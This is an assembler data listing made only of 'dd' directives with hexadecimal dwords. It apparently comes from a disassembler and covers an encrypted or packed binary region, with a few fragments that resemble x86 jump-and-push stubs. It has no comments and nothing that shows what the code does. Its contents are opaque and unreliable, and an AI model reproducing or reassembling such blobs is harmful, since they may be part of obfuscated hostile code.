		dd 46A18801h, 0C74E2EE0h, 0EA3C1863h, 0A4578256h, 0D5AB81C2h
		dd 1B907571h, 8D6B0230h, 9CF88155h, 878E773Fh, 0B399CABCh
		dd 0DDB7846Ch, 15CBE7Ah, 0C4B70000h, 0BF11E960h, 6E456DFh
		dd 0D7C32893h, 7A45BDFBh, 86CFBBE4h, 81D72632h,	961F3281h
		dd 7D1BA86h, 725129DAh,	941E0026h, 74B3B34Ch, 44B327Eh
		dd 0E28F90DCh, 2F2796h,	4B0C0000h, 268009EDh, 6C2D8FEDh
		dd 66B8FEC7h, 117A45EFh, 0EFA5160Ch, 30C8695h, 0CD2A4E38h
		dd 18695EFh, 0D113A37Bh, 6974B3E6h, 0DDh, 0E960C4C2h, 56D9BF11h
		dd 6CEECF20h, 0E693A80h, 272769B8h, 0D8BAE2AEh,	0F84EC3A5h
		dd 967440ABh, 95299A36h, 0F22E729Ah, 6CE03384h,	0AAF59E80h
		dd 62AEE743h, 3F2B5798h, 5ED1C5ACh, 4B806C5Eh, 6E94F1D8h
		dd 806C5F0Dh, 0EF4DABF4h, 1054860Fh, 806C8DADh,	0D5199074h
		dd 0FCD96237h, 0E069CDABh, 9FB388BCh, 53B97C51h, 4769E55Fh
		dd 6441D27Ah, 0F6B03B9Ch, 8256BF9Dh, 0C4ADA12Ch, 0C230E47Ch
		dd 2EC15D5Dh, 8EECA15h,	8C0627AAh, 95B38580h, 8124E11h
		dd 29360000h, 62FE18DAh, 0E045A393h, 0D40DEB6Bh, 73D13727h
		dd 0B42C7CFEh, 0D604896Fh, 1BDB5630h, 5D911AFDh, 0E86AE3BBh
		dd 0BE31654Ch, 2B7A3DE8h, 454BE30Ah, 5D944E25h,	9671C7E9h
		dd 1266AD1Dh, 0E353DEBCh, 2A28A105h, 9ED4BA1h, 8FED2680h
		dd 62C44D29h, 8D41C8ACh, 2309Ah, 454B6B00h, 657AC00Fh
		dd 13F5C369h, 0D03D86h,	0E2C329D8h, 4AA6ABB4h, 0FD4DD67Ah
		dd 9B1C3AB9h, 1016B286h, 0AEBA5E86h, 1E49474h, 4B510000h
		dd 0F39C8C45h, 0F0C4189Eh, 6CA940B0h, 0D846D380h, 1FEB209Ch
		dd 775CA7EAh, 4B201003h, 8DD6B97Ah, 18DA532Bh, 0D3971EFEh
		dd 321BA079h, 954AADE9h, 0ECB7869Bh, 4525AC08h,	0DFDB2A0Eh
		dd 80748023h, 0EE62838Ch, 0C3AD5894h, 73AF8CFh,	0D10E0000h
		dd 0AD63022h, 389D7BFBh, 0FC6583B3h, 4B29CF0Fh,	8C4414C6h
		dd 0EE6CE147h, 3323AE08h, 75F972D5h, 80B23B93h,	0E6494D24h
		dd 0D37A3DE7h, 60C48B32h, 0BF0B8664h, 0DBBD0D54h, 5A3C8A03h
		dd 0B1B2C84h, 0E4DC0604h, 956B2D9Dh, 6E9B1C1Ah,	1D06806Ch
		dd 26387432h, 0FD5B4A00h, 35BC1829h, 21D008E8h,	2E2E0A59h
		dd 0DD677779h, 124B37Ah, 0C4B80000h, 0BF11E960h, 6E456DFh
		dd 0D7C32893h, 7A45BDFBh, 0ABCFBBE4h, 86961F4Ch, 0B4E2CB80h
		dd 86961F43h, 7197E5AEh, 0B3BB25ADh, 207774B3h,	0FC000000h
		dd 89D259C0h, 45EF598Dh, 0AD1D067Ah, 95EFEA49h,	0C066E286h
		dd 0B3E6AE36h, 0C14474h, 0C4E10000h, 3011E960h,	290F8260h
		dd 7C5DF54Bh, 6997A375h, 3C9254BFh, 54A7D358h, 0BD806BF9h
		dd 0B076FF5Fh, 0C4210853h, 0C1179A7Ch, 0D7E81071h, 4B037845h
		dd 78CE3D24h, 16F4C02Bh, 7B3F3FB6h, 806C4916h, 0B0A22B83h
		dd 177CC752h, 3EB1E5CEh, 0AB806CBDh, 30BB1CF8h,	155CA4E4h
		dd 0D84B7A48h, 6FCEAAF3h, 5C3290E4h, 25FB1DD1h,	7EC84125h
		dd 4535FA30h, 6641BF35h, 70E0EE1Fh, 4D41B384h, 5F77Ah
		dd 0E112C900h, 0BE4F8B6Dh, 8835ABCh, 0C6352CCAh, 911CF214h
		dd 8D50D5Dh, 0D13727AAh, 9E78FA77h, 6284B63Dh, 77D3038Ah
		dd 0E597181Eh, 63027A3Dh, 0EB66C4D8h, 0A0298D6Bh, 911AFD5Bh
		dd 0C40883BBh, 0BF11E960h, 8E7FDBDFh, 5280EB38h, 2045h
		dd 60C42A00h, 0DFBF11E9h, 2B729056h, 14EA944Dh,	9BE22199h
		dd 0BE879FBDh, 0F0E757DEh, 2Bh,	0FED4B71h, 0EF219280h
		dd 8788806Ch, 0B399CABCh, 0ABF079DDh, 0EEE35442h, 45CE806Ch
		dd 0F6F8377h, 0FB806CEFh, 2480C165h, 0C422A9ADh, 0BB11E960h
		dd 0A0855DEh, 7A4B741Dh, 52A5D1BCh, 0BF869BE9h,	0D0A08DD4h
		dd 38BBFF74h, 0A1869BE9h, 41A797FEh, 0C09A6CE5h, 8D89D259h
		dd 807A6F29h, 0B8359761h, 0B09D865Ch, 0A08D04E0h, 99FF72D0h
		dd 896C345Dh, 96FA402h,	0EC5AD3ABh, 0F07DD3A5h,	1DFFDD36h
		dd 0CEA6127Ch, 0AABC67E9h, 0D7DD1E47h, 0A6816899h, 0A922FB5Dh
		dd 4FA6F2D1h, 0A2D06B4Bh, 22C34C86h, 0A72A1C1Ah, 0DD4C1397h
		dd 0E3000004h, 0B1578774h, 7C9A58A9h, 0C6201299h, 8C6AE81Bh
		dd 0E3B3A32Eh, 0C9441AE7h, 8409E305h, 5CD7B056h, 159C789Eh
		dd 0F62C8521h, 7A3DE485h, 0C42A516Ch, 1809CC60h, 0F7EF619Eh
		dd 0CAC40789h, 2B729FD4h, 0E069CD2Bh, 6DE44006h, 5AA9B000h
		dd 75D1A7ECh, 0F3D90AFCh, 67EE490Fh, 6CEDC033h,	1F662980h
		dd 9A17F5ABh, 42E47A2Ch, 67BF9D8Ch, 0BF6FAFD1h,	0A5523FFAh
		dd 9AFE77D7h, 8CE960C4h, 0B47B6B9Ch, 54A0EFBAh,	371DC790h
		dd 49D57ADDh, 1E000000h, 840BED4Bh, 6CEF1D9Eh, 0B09B8480h
		dd 0DDBF9DF6h, 68AEF73Ch, 7A462434h, 15E3C85Bh,	0FDB71CB2h
		dd 0B3EB2160h, 0FC3A0368h, 8696A27Bh, 7234BF1Eh
		dd 450C311h, 0A33984C0h, 4E08696h, 0CCAF498Dh, 5DCE347h
		dd 55000004h, 866460C4h, 0D54BF0Bh, 8A03DBBDh, 44EFAA48h
		dd 383E997Fh, 3B8FD65Dh, 22A90CE8h, 0CFBBFFD6h,	0CF7A45BEh
		dd 0A600F169h, 4ED10F6Dh, 7567A9F8h, 4ED0C84Bh,	75C2C612h
		dd 798696DEh, 29CB4BD3h, 0C174B2F3h, 4Ah, 5F59C06Ah, 75B377FCh
		dd 1CE90A9Eh, 7C47AE51h, 0E3BFE317h, 0B91F7A45h, 0DA0054DDh
		dd 0C090F149h, 3011E918h, 95E371C2h, 0EC375886h, 0E42B8888h
		dd 25A38695h, 0F26F7101h, 0EA8B74B3h, 42000000h, 0D7BA3D79h
		dd 7C278695h, 60C4D718h, 603011E9h, 492F0D84h, 0BB1D66EBh
		dd 578369E2h, 28EE52A6h, 0A365C54Ch, 0D49042CBh, 806CEA11h
		dd 0B3E76CC8h, 806CF340h, 0B69FE6A9h, 0A8745C4Ah, 6D0A096Ah
		dd 61AFF080h, 0F6C284B0h, 93111F76h, 98C20E30h,	9676D420h
		dd 117AAB1Fh, 6DB092E5h, 0C0147F80h, 2308B366h,	46A4E7F7h
		dd 5787887Ah, 0E45F23Eh, 0A60C80B6h, 9A21F852h,	34FD45B1h
		dd 0CC158072h, 0C28865D6h, 0F5C34C8Ch, 79DF246Fh, 4D24169Bh
		dd 289E6FEBh, 593F9DFBh, 4728159h, 8CC288B3h, 0C32A751Eh
		dd 5AB51022h, 5A6DA1ADh, 2CCh, 0A69467FCh, 0E5699840h
		dd 2D21AA03h, 79FD0ECBh, 86B4399Fh, 5735FAD6h, 1CFE18DAh
		dd 0E0BB5D91h, 0A90DEB6Bh, 3F963220h, 3DE278FBh, 394C617Ah
		dd 6BEB66C4h, 0B2A0298Dh, 5F59C039h, 50B377FCh,	0B4F62C09h
		dd 0E37A45EEh, 1DAF4EB2h, 39241338h, 95B27EF1h,	0D1386B86h
		dd 0B2A61569h, 0A2268695h, 23FAFA7Ch, 0BE3074B4h, 0DF000000h
		dd 50169B79h, 49E6FE56h, 0A38A6068h, 0ED4B9A55h, 0ED268009h
		dd 0C44D298Fh, 43CEAC62h, 0EADE83E7h, 23FB806Ch, 0EE4EA8AAh
		dd 0E4BA1E67h, 0DDBF0369h, 68AEF73Ch, 7A45E86Ah, 31BC1EFAh
		dd 203E1A49h, 7C1DFF7Fh, 0B5A8EE37h, 0D480715Ch, 80651BC6h
		dd 0D46200Bh, 997FD922h, 0E94F2614h, 0D0B6820Fh, 224EFF72h
		dd 0FFAD5B94h, 1F2A40Bh, 9D60000h, 429E78FAh, 806583B3h
		dd 342DCB0Bh, 13F117C7h, 0D40C5C9Eh, 3624A90Fh,	7BFB76D0h
		dd 0BDB13A9Dh, 0C80A835Bh, 9E11056Ch, 0B7A3DE1h, 0ED4BC36Ah
		dd 0E0238774h, 0DC38B314h, 0C815987Eh, 0B901F068h, 3E8805E7h
		dd 0AEAE8AD5h, 0F165EC48h, 0E960C47Ah, 86603011h, 83F4220Bh
		dd 6E806CEEh, 9571D725h, 8761371Ch, 7FDABC0Ah, 8EE93A8Ch
		dd 0EEFE71A5h, 0B8EB806Ch, 9E7E985Ch, 20F95317h, 4B97F8BEh
		dd 0E1B7562Fh, 0D73C8A07h, 0DF73A78Ch, 887A45D3h, 0ADF62387h
		dd 0EF875CBh, 0CD51F7C5h, 0BC9910F4h, 0A50606E4h, 200B582Eh
		dd 2F2F0D46h, 9EE74CCDh, 8308E3B5h, 0FADE5335h,	6EE27886h
		dd 9E115F80h, 5EB52107h, 0E26BC3A9h, 8D692F9Bh,	0FD593F04h
		dd 5351B274h, 85ED303Ah, 67CB216Dh, 0EAD74FEDh,	7BBF842Fh
		dd 8697EA3Bh, 13E27E9Ch, 76EE345h, 0DC5531D7h, 58D3B46Ah
		dd 79ADB3EEh, 1865EC48h, 0A7D41010h, 0A6EDBD8h,	0C26930D2h
		dd 0A019BDF9h, 0DD468CC1h, 5AD3AB6Dh, 0E4F70F71h, 821B7442h
		dd 8197C2B6h, 0B2F9A09Dh, 0E0A92D69h, 0FF2192E9h, 658BB838h
		dd 21D008CEh, 3964F2C6h, 3A9F7AFDh, 0F83E679Fh,	9F3A9F77h
		dd 8FD63162h, 47ECAD4Fh, 25BA387Eh, 721D9919h, 0F37AD2B4h
		dd 0E16CCEAAh, 0FD0AEF19h, 0E11B058Dh, 0D7263286h, 0CBA34581h
		dd 0D6C66367h, 0E2CD065Fh, 7CECE004h, 0D1ABB4D4h, 568ACB79h
		dd 49900B82h, 37BC1FF1h, 0FA2C2873h, 81EBC44h, 8E05E0B0h
		dd 2F8DEB38h, 0E47CC44Fh, 387E5515h, 0B7245AB7h, 24167122h
		dd 9912EB4Dh, 3096E221h, 7CF75054h, 887E598Ah, 91750BD6h
		dd 74C73318h, 5DB7245Ah, 0B982EB32h, 245AFA7Dh,	58BCE7B7h
		dd 73ABADE8h, 571FA52h,	0B7245AB2h, 292D741Fh, 0E66FCFh
		dd 3BFh, 0B43F3400h, 1AEC1FC4h,	9169E044h, 13D75C3Fh, 9056DBBDh
		dd 15D5583Eh, 9650DDB3h, 6CDA2930h, 0EE58D3AAh,	79C13028h
		dd 0E789573Ah, 4C781h, 0EF830000h, 243C8704h, 243C895Ch
		dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0D268243Ch
		dd 89000031h, 9A68242Ch, 89000061h, 0A168242Ch,	5D36047Fh
		dd 267E581h, 0C5817E07h, 0D02AF977h, 545DEF89h,	81242C8Bh
		dd 4C4h, 75C16800h, 14890000h, 89FA8924h, 0FF5A0855h, 815D2434h
		dd 4C4h, 243C8B00h, 81E78957h, 4C7h, 4C78300h, 5C243C87h
		dd 0FA6DEBE9h, 17901CFFh, 9EC6A86Bh, 0F29B823h,	0C503062Fh
		dd 0E3D7E0FFh, 0CE905D86h, 0F11813DFh, 0BC3D33DCh, 91417076h
		dd 2A763F73h, 8F541939h, 3580794Fh, 0E0595668h,	10B40B99h
		dd 7DA87CB3h, 0F8C9678Eh, 0A3574E53h, 0DC0254BCh, 0E01F2B01h
		dd 4E785E4Ch, 18B91AFEh, 1DD91511h, 0D9FD733Bh,	938341CAh
		dd 25C7168Bh, 6E40193Eh, 16E97175h, 46000000h, 2BAE4Eh
		dd 24200h, 3 dup(0)
		dd 0C6EE900h, 0CD680000h, 0E9062F11h, 0FFFB39C7h, 2F132D68h
		dd 39BDE906h, 0AB68FFFBh, 0E9062F14h, 0FFFB39B3h, 2F157568h
		dd 39A9E906h, 6D68FFFBh, 0E9062F16h, 0FFFB399Fh, 2F188E68h
		dd 3995E906h, 4168FFFBh, 0E9062F19h, 0FFFB398Bh, 2F1A6668h
		dd 3981E906h, 6B68FFFBh, 0E9062F1Bh, 0FFFB3977h, 756133A7h
		dd 39ADF564h, 0E0F6C410h, 0AA388AD9h, 52005283h, 95C005E2h
		dd 578891C5h, 204E5F0Bh, 0DF71184Eh, 544FC195h,	8674DABAh
		dd 0DB02533h, 8DD79D33h, 0A6F57B2h, 0AAEE34D1h,	94DE7253h
		dd 0B8983681h, 739B490h, 381BAF96h, 52E7FAEDh, 56AD9D31h
		dd 574EA12Fh, 9C7042BBh, 458BD3Fh, 79499A2Bh, 6FD0AC02h
		dd 0AFFA3FDEh, 0FC126D74h, 3FDE6F9Ch, 874BB263h, 485CAA6Eh
		dd 98EA7E8Fh, 72EAD1C4h, 3Bh, 84E769F9h, 84B00191h, 0BE5F3F9Ch
		dd 862E0A26h, 0F3633FDEh, 0B62A3BA1h, 6CB9E8ECh, 65AC9431h
		dd 5686272Ah, 66BD5004h, 0DE85E848h, 9FE6373Fh,	5CDCBA33h
		dd 0BC3248h, 33B90000h,	0F88DD79Dh, 0A6471D6Dh,	0A83D6032h
		dd 0BF096C3Eh, 35683AAEh, 6F754590h, 207357AEh,	64F44E83h
		dd 0F627BD1Eh, 818A338Fh, 0F96F39B5h, 0BA2E3FABh, 89DCBC52h
		dd 0F22339B5h, 5EE04B11h, 21B10813h, 39B58A3Fh,	0DF360D8Eh
		dd 9CB962C3h, 7A68AD3Fh, 44948709h, 68869D7Eh, 45C7656Ah
		dd 0BD055469h, 0B924B9DCh, 81ECFDE9h, 7CB0531h,	0CD9731A5h
		dd 0A4048h, 1A6CFE00h, 5A2CBD4Ch, 9DEF7D0Ch, 0E7B320C9h
		dd 2B7BEAF3h, 25E007BFh, 0E9F0E6B8h, 97A62C76h,	58617547h
		dd 6A2CBA08h, 73B79929h, 0D5063386h, 0D0A2332Eh, 2DAD38CDh
		dd 27F6EEC0h, 84FF1E46h, 0FFC51B22h, 0E76968EBh, 64B4DE32h
		dd 0B4B7EA4Ah, 0B1E03539h, 67C00ECEh, 6BCDE53Ch, 0B239B4F0h
		dd 0F065C7DBh, 6BA839B4h, 4658B38Ah, 3F9BEF77h,	536F75A6h
		dd 3FDDEFF5h, 2199F4DDh, 485C46C8h, 14748AE5h, 0DB3FDDE4h
		dd 2449C33Ah, 3E000001h, 376E40ADh, 0DDE3B99Bh,	0AC97043Fh
		dd 0D79D33B5h, 0BF11B28Dh, 0DDC73343h, 0C1A2593Ch, 2A7CE9FAh
		dd 99C4D9B2h, 7DDEA839h, 3201A806h, 82D639B5h, 99C38FC0h
		dd 0AF912174h, 7E39B53Ah, 0CD963C9Dh, 165CFC7Eh, 37A4682h
		dd 44942EA2h, 0A98B277Eh, 7439B4E8h, 0C59EC6A7h, 0E8F4546Ah
		dd 0DA3B39B4h, 0FBF698E3h, 182F0EA0h, 0AD3E3F9Ch, 0F07E6F41h
		dd 0ECD7C69Eh, 41124055h, 3A6131BCh, 0DE19C4A4h, 0B38A0B3Fh
		dd 70ABC648h, 0C6B7735Eh, 5F379245h, 0E7BBE132h, 15182D3h
		dd 0E843BA5Bh, 4299F02Bh, 0E2DEC134h, 0C2E3DAC9h, 249E3393h
		dd 5309EAB8h, 0F5BF1142h, 564D2EEFh, 0B481E3FFh, 4F4C4609h
		dd 1A4B5274h, 563CBA48h, 0A03231A4h, 8E0EDh, 0FACC1E00h
		dd 3A8CDDECh, 7D4F9DACh, 47134069h, 8BDB0A13h, 458067DFh
		dd 9104618h, 37C68CD6h,	0F881D5A7h, 0CA4C1A68h,	725739C9h
		dd 35A63386h, 9D2E798Eh, 0B7667E50h, 0B585492Bh, 66F79439h
		dd 6340BB14h, 2B32A0F2h, 98FBEFB5h, 0D68ED40Bh,	3345FCC7h
		dd 0F88DD79Dh, 0A4031A68h, 5BF55F4Bh, 0D202533Ch, 0C239DC80h
		dd 0EE018FE4h, 0E7A21BB7h, 0F81D3F9Bh, 0C58FC1E4h, 0A588891h
		dd 10C3BE52h, 0C14EC51Ch, 155FF1C6h, 5A28B841h,	13136E02h
		dd 0D58C724h, 0D30627BDh, 0DE4BD983h, 0B5D006C3h, 9CB1D5Ah
		dd 0C6D78DD7h, 9B744695h, 3D412580h, 726A3CADh,	7D674A3h
		dd 0CAD3F7CEh, 72C9CC96h, 9A5600BCh, 912B1207h,	0B8A7A881h
		dd 41628153h, 91C4012h,	0C7D68ED8h, 0D7321F66h,	5E044E82h
		dd 114B194Fh, 5E45A856h, 2171E607h, 4F635ABBh, 0CD0ADC86h
		dd 90F00E59h, 5FCD4CDCh, 69EFDF08h, 0D9BAB724h,	1C4A4BE2h
		dd 5F46A957h, 345FBE43h, 8A72C9D3h, 14758401h, 0F2494C2Dh
		dd 3FC4BA4Ah, 546C57B5h, 75C8E1BCh, 683AAED3h, 0B2045174h
		dd 98F39E2Ah, 918CC533h, 61DE3B8Eh, 6F38D94Ah, 7643F153h
		dd 7EDF3CD3h, 7F225B07h, 0F2DADBF4h, 21000004h,	0B5855E3Eh
		dd 954A2639h, 460A39B5h, 5639B596h, 39B598FAh, 150863EDh
		dd 9C9E74FDh, 7C8A0B3Fh, 2B794888h, 6235587Ah, 98000007h
		dd 436A784Ah, 0F1E440Eh, 32DB8FDDh, 0F485D1A1h,	154D1969h
		dd 0D4A637F2h, 1A68FF8Eh, 5F31BD4Ch, 0A4EE620Bh, 0AB47583Eh
		dd 338670C9h, 333CC714h, 0A28DD79Dh, 73CAD11Ch,	2AB20452h
		dd 413E90EBh, 803F9A95h, 95B79929h, 95063FE4h, 1F0697AEh
		dd 5E0F5F8Eh, 6442B909h, 556DC41Fh, 3FE495F3h, 0A385D93Ah
		dd 6A3FE495h, 0FC5C72A9h, 0C33FE495h, 0A2B7EBD2h, 2279741Ah
		dd 0CBAE598Ch, 1DB50C45h, 460DB13Bh, 132A1182h,	94B32F82h
		dd 0FA32CE4h, 9B376E81h, 0FB55F6F2h, 2B14484Dh,	0BF534AA5h
		dd 17F306Fh, 891A0192h,	0DC370E58h, 9FCB99CFh, 16B427C4h
		dd 2DE0F4C6h, 454694Ch,	0D45E88BEh, 0A63CED5Bh,	698F7h
		dd 42144600h, 82D40514h, 0C597C5D4h, 0F5B8891h,	5323B25Bh
		dd 8D48DF07h, 0B1580E60h, 7F0E541Eh, 20C99DEFh,	92F4E2B0h
		dd 700F7181h, 7DDE3386h, 0DB2E79C6h, 7FFC6F54h,	0D9BB273Ah
		dd 0E439B544h, 0B5456ACAh, 0FD60B539h, 0A82C7EE8h, 76B18465h
		dd 4FE013C8h, 95D7AF68h, 0B5671B7Dh, 5031E239h,	9B12ACF7h
		dd 123F9C6Bh, 2580DB81h, 7B5644EEh, 0BB08739Ah,	66055F25h
		dd 4A2AC41Fh, 1F3FDE6Ch, 0B065F8CAh, 1609044Dh,	4123BF68h
		dd 8C3FDE6Ch, 0B9095E0Fh, 0A11F223h, 0C56FFDF4h, 0F823F045h
		dd 0C92C76EBh, 0D001A2F1h, 0C43FDE86h, 7778EEAh, 786ECE46h
		dd 2A714607h, 0D6A7D11Dh, 8EE9CCD6h, 18B6ED00h,	4BEBC81Bh
		dd 536F75A6h, 4C35C7F0h, 2D75EAFBh, 0BC9FF8D6h,	80D0D8CAh
		dd 0C8167688h, 34D94C35h, 0C86FD1E1h, 5DBE4C35h, 69A676FCh
		dd 526037D0h, 5A0C3h, 0BA0C5E00h, 0FACC1D2Ch, 3D8FDDECh
		dd 75380A9h, 4B1B4A53h,	8540A71Fh, 49500658h, 77064C16h
		dd 38C195E7h, 8A8CDAA8h, 6F177989h, 75E63386h, 84E769CEh
		dd 38A54691h, 85187866h, 36E739B5h, 1D1AB4CFh, 0A43F9A95h
		dd 3DD52C77h, 3FE4955Bh, 0B20A71A2h, 54873D93h,	4F4F1306h
		dd 0E317BBF9h, 741F5402h, 0C5C617Bh, 0A2431046h, 4A1B6234h
		dd 0B4494C16h, 92035929h, 0EF4611ABh, 0E56771D3h, 645FBC3Fh
		dd 19431147h, 0D18BD704h, 8BD1A1CCh, 162678BCh,	954B4F53h
		dd 2E34918Ch, 0FD532863h, 0B35023B7h, 6634A022h, 2988DF85h
		dd 0A0D8D7EEh, 48166DCEh, 48639931h, 1D6ABh, 0A233D000h
		dd 5335CDD0h, 9A3FE536h, 790B0279h, 7F13D522h, 0AD90392Ah
		dd 6AB1BC42h, 9C758D54h, 6973A03Fh, 3FEECB1Eh, 0E4F3A89Ah
		dd 933F21B1h, 0D8E3FDDh, 92BA9836h, 1B763FDDh, 0C5FE100h
		dd 0BC2DBE09h, 4795F2EAh, 0E31AF142h, 0F6C8338Ch, 45C4E52Fh
		dd 0F099CDCEh, 0BB4A1260h, 380B5F25h, 0E9405B96h, 6E677D9h
		dd 6E554646h, 1702FB17h, 18FD4BEEh, 16D0AC44h, 99FA4C30h
		dd 0D7163D42h, 88F307FBh, 0EA454C47h, 2F9B74D4h, 95ABB4Ch
		dd 0EDB588DAh, 54ADD594h, 3648h, 3BAE3F00h, 6919106Bh
		dd 98EA74E7h, 2D70D1C4h, 9C844495h, 0B22AEB3Fh,	0DE84C29Eh
		dd 7697E83Fh, 64AD90E2h, 58852629h, 44BF5E06h, 5CDC639Ah
		dd 0E69948h, 33EE0000h,	0F88DD79Dh, 0E5061D6Dh,	87D12476h
		dd 0BC2072E6h, 748C84E3h, 0F84020BEh, 0E8F39B4h, 6D112D1Bh
		dd 5123B516h, 7DDFF34Ah, 4039B571h, 55E6853h, 4E29E4A6h
		dd 5B42505Ah
		dd 0B57AE547h, 90EB2839h, 0B577973Eh, 0A6EC7C39h, 1FF96E7Fh
		dd 0DACCC184h, 7B61C20Ah, 0D6F839Ah, 0D039B4F4h, 85EEF8C3h
		dd 15ADF0FBh, 3F9D9C2Ah, 0F4090C81h, 0BC4D1969h, 9CCADB31h
		dd 5F0392CAh, 3FE09BFDh, 0CF265C0h, 2029EC5Ah, 0CA50E647h
		dd 702B7B6Eh, 37F3362h,	2DBD0000h, 0EB7E0F5Bh, 0AE3ECF9Bh
		dd 74E7F6DCh, 3CA9B026h, 23C47C6Ah, 0B32777E6h,	796D35AAh
		dd 2EB40650h, 0EFFBC91Fh, 0F85876A9h, 0C733866Ch, 0A233EF96h
		dd 8DB9A366h, 1EFFD39Fh, 952FA148h, 5537CB43h, 9839B497h
		dd 23C29A7Bh, 1BFAE2B0h, 568DD9BAh, 0AEF46479h,	90E27657h
		dd 0DDA739CCh, 0F1536FC6h, 0F039B584h, 6B610FE7h, 1BF8631Dh
		dd 3E5D8620h, 39B50562h, 0B6054622h, 4CAF5139h,	0B34F561Ch
		dd 39B604D1h, 71EFF1Ch,	9B146CEBh, 3EA6773Fh, 7DA0CB75h
		dd 0CC1D1065h, 75E60745h, 503183D5h, 9BB2890Ch,	0BF40CC7Ah
		dd 0C09231A8h, 2CC4Dh, 96E07200h, 0DEA839C0h, 2173E188h
		dd 6B37A4B5h, 0AFFF6E7Fh, 0A96CBB3Bh, 6D7C6A3Ch, 133AA8FAh
		dd 0D4E5F1C3h, 0F6A83E84h, 6C3315ADh, 59FA3386h, 902E79A2h
		dd 39B584B0h, 6A79E7Fh,	83DC80D2h, 4B8FA324h, 87164E14h
		dd 41205990h, 0ADF7697Ah, 0A9C44A39h, 8C655C72h, 0BB583F9Ch
		dd 8D331121h, 321F3FDEh, 0C8067FD7h, 8627485Ch,	23A0151h
		dd 3Dh,	84E76989h, 288A4A91h, 83348B34h, 56260698h, 24E939B5h
		dd 0D928C6D1h, 43F9C55h, 1772CD97h, 0F46B78A3h,	0C9F87BAEh
		dd 3513AF96h, 1D3FDE75h, 861D934h, 0C4485CCCh, 0AFh, 0D79D334Bh
		dd 1D6DF88Dh, 6032A647h, 0ADF7697Ch, 81741D39h,	0F4139B5h
		dd 0D8081145h, 0E769D28Ah, 8FC70532h, 34A52C4Dh, 0FD208162h
		dd 2ECD84AEh, 95C647DEh, 0AA6B7143h, 2BA63853h,	0AA3F9D2Eh
		dd 587C4699h, 0E7401245h, 6D135006h, 23C01B02h,	0C39FE6ACh
		dd 45C7E15Eh, 0AC3164A9h, 1E657141h, 68FF618Dh,	6142B91Ah
		dd 0A294A2F4h, 2031A584h, 1A78392h, 5550000h, 0C31627B3h
		dd 86D6E7F3h, 4C9FAE34h, 1441687Eh, 5BAC1442h, 6B7F4F9Eh
		dd 11450D42h, 0C68CDE08h, 87D3A137h, 20009E81h,	0EF33866Bh
		dd 0A233D76Eh, 65FB82D0h, 69084B1Fh, 19184E7h, 3F9C84B0h
		dd 0C1085Fh, 0ED704F4Fh, 0DF0F73D5h, 0F859BA3Fh, 0CBA1041Fh
		dd 0F7437586h, 98A8007Bh, 3FDE86BCh, 0E9788D96h, 1FEB8E99h
		dd 37DD5705h, 0CE8883CCh, 485CF6B7h, 443271D4h,	0B1B14DD2h
		dd 0BAD24Ah, 33590000h,	0F88DD79Dh, 0EC471D6Dh,	0F93C8EDFh
		dd 0B580C0E9h, 0F1C31539h, 0D9195FAAh, 48AC5237h, 14445575h
		dd 0A32D164Eh, 55F2BB8h, 41D7DF26h, 4D2EE3F8h, 4D5EA9ECh
		dd 8114481Ah, 0AA3280D0h, 43BE106Bh, 423F9CA6h,	0A02E0551h
		dd 24B5564Dh, 0B9106B52h, 0B0F0506Eh, 0DE3F3FDEh, 360D5F8Dh
		dd 0C74E1298h, 38D6A145h, 460A5858h, 8E9576A7h,	0C89EF07Dh
		dd 54E2B421h, 31A4F9ECh, 0A2C94C16h, 58000000h,	32AB80Ah
		dd 0CFDE84CEh, 0F29BCF9Dh, 0B4451161h, 0D50D5929h, 1466F732h
		dd 5A28BF4Eh, 9FF17D0Ch, 0E4AE22CBh, 6B8798FEh,	33866A09h
		dd 33FC87D4h, 0FB82D0A2h, 84B1F65h, 8DD79D33h, 4C1A68F8h
		dd 0F1659E7h, 461E70FEh, 0FD156C57h, 3F9A9482h,	3DC09479h
		dd 0FC8DD9ABh, 8187D66Ch, 0B31DA4F3h, 92CAAB84h, 207BA203h
		dd 0E515AE8Eh, 599C713Fh, 686C730Fh, 9E8B1A64h,	0D0A23683h
		dd 1F65FB82h, 6733A045h, 5FBAE77Dh, 99FCC61Ah, 69D5BF42h
		dd 0BF867320h, 84CE022Bh, 3BDD0h, 0D6860000h, 0D59F332Dh
		dd 186AFE8Fh, 6335A144h, 0AFF36479h, 0F5C51035h, 3F8FDEEFh
		dd 75380A5h, 4E1C485Dh,	90E27716h, 895674CCh, 4C681E6h
		dd 81000000h, 4EEh, 24348700h, 240C895Ch, 165168h, 241C8900h
		dd 41A968h, 24348900h, 1094B951h, 5B51062Fh, 4EC8159h
		dd 89000000h, 4832424h,	815E0424h, 4ECh, 241C8900h, 8B08468Fh
		dd 89512434h, 4C181E1h,	81000000h, 4C1h, 240C8700h, 2434FF5Ch
		dd 4C4815Bh, 0E9000000h, 0FFFB2D6Bh, 65698DE3h,	52FFC2D8h
		dd 2F1C32B8h, 0FFC50306h, 5A462DE0h, 1909A934h,	566AFE74h
		dd 78F48768h, 0B1E28C6Ch, 19742934h, 0F29A8E58h, 0BD391A13h
		dd 0AF317639h, 16449F3Fh, 7F2B9D39h, 0E5E3134Eh, 0C8CA5832h
		dd 5D40012Dh, 563EA23Ah, 9C8D8D3Dh, 66062F1Dh, 0FF77DF81h
		dd 1E6D8D89h, 0F38A0629h, 2D8185C7h, 74980629h,	0EE80000h
		dd 9A000000h, 0F8D5ECA6h, 69811F61h, 278FEA41h,	4EF0812Ah
		dd 5B591FA3h, 200585C7h, 629h, 81660000h, 0FF5AE7E7h, 2900E5B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 4C77E87Ah, 8B601616h, 29099195h,	89952B06h
		dd 6106291Bh, 31E995FFh, 6A0629h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0F71B15C3h, 9D295176h
		dd 629129Dh, 0FF006A58h, 29059195h, 0EBC08B06h,	891D640Ah
		dd 0E2E4E5Ah, 0E983A523h, 99h, 7A1D22ACh, 0BAF5CC47h, 66D138F3h
		dd 9FABAFD6h, 7C4DB297h, 95B7E3h, 0E9A9E572h, 9BB69CB5h
		dd 0B6F37760h, 9EB794A9h, 7D60D760h, 9EA9BD89h,	729EBD8Ch
		dd 4A95ACE3h, 9BB98B20h, 9D89937Eh, 0AFF496B9h,	94A19E96h
		dd 91A7D6B5h, 48D100FDh, 33594ACCh, 5200713Ch, 0F357DB4Dh
